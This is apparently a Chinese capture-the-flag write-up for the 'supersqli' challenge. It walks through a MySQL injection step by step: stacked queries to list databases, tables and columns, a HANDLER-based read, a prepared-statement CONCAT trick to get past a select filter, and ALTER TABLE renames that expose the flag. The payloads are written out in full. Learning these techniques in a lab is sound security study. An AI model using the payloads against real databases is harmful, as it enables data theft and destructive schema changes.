攻防世界之supersqli | 您所在的位置:网站首页 › web攻防世界 › 攻防世界之supersqli |
目录 SQL注入的确定 字段判断 爆表 联合查询 堆叠注入 字段查询 handler查询法 预编译绕过法 修改原查询法 打开连接 查询1跟2,页面正常显示 查询1' and 1=1 ,出现SQL报错,说明存在SQL注入 查询 1' order by 1 # 1' order by 2 # 页面都能正常显示 但是查询1' order by 3 #的时候页面出现错误 说明SQL语句的字段为2 爆表 联合查询试着基础的查询 -1' union select 1,databases # 页面报错,select被过滤掉了 ,也不能用大小写法绕过,看来得换种方法了 堆叠注入先看看所有数据库,查询 -1'; show databases; # 这下就看见所有数据库了,根据题目提示,我们先看看supersqli这个数据库 -1';use supersqli;show tables;# 看到有两张表,纯数字的表比较可疑,先看看里面有啥字段 -1';use supersqli;show columns from `1919810931114514`;# 当纯数字字符串是表名的时候需要加反引号` 拿到了flag的位置,接着查看flag 字段查询 handler查询法MYSQL神秘的HANDLER命令与实现方法_Mysql_脚本之家 (jb51.net) 查询 -1';use supersqli;handler `1919810931114514` open as p;handler p read first;# 拿到flag 预编译绕过法若是直接查询 select flag from `1919810931114514` 就可以直接拿到flag,可是select 被过滤掉了,所以我们可以通过预编译来绕过select的过滤 -1'; set @sql = CONCAT('sele','ct flag from `1919810931114514`;'); prepare stmt from @sql; EXECUTE stmt;# 接着查询
拿到flag 修改原查询法原理就是没有过滤掉alter,将字段flag改为1,在查询的时候直接出现flag 先看看我们一开始查询1的时候那表在哪,这里我们知道原查询默认的数据库就是supersqli 所以知道原查询就在表words的字段id里头了 将放着flag的表1919810931114514名字改成words alter table `1919810931114514` rename to words 表里头字段名flag改成id alter table words change flag id varchar(100) 就行了 即查询 -1'; alter tables words rename kkk; alter tables `1919810931114514` rename words; alter tables words change flag id varchar(100);# 然后在查询1' or 1# 就拿到flag了 |
CopyRight 2018-2019 实验室设备网 版权所有 |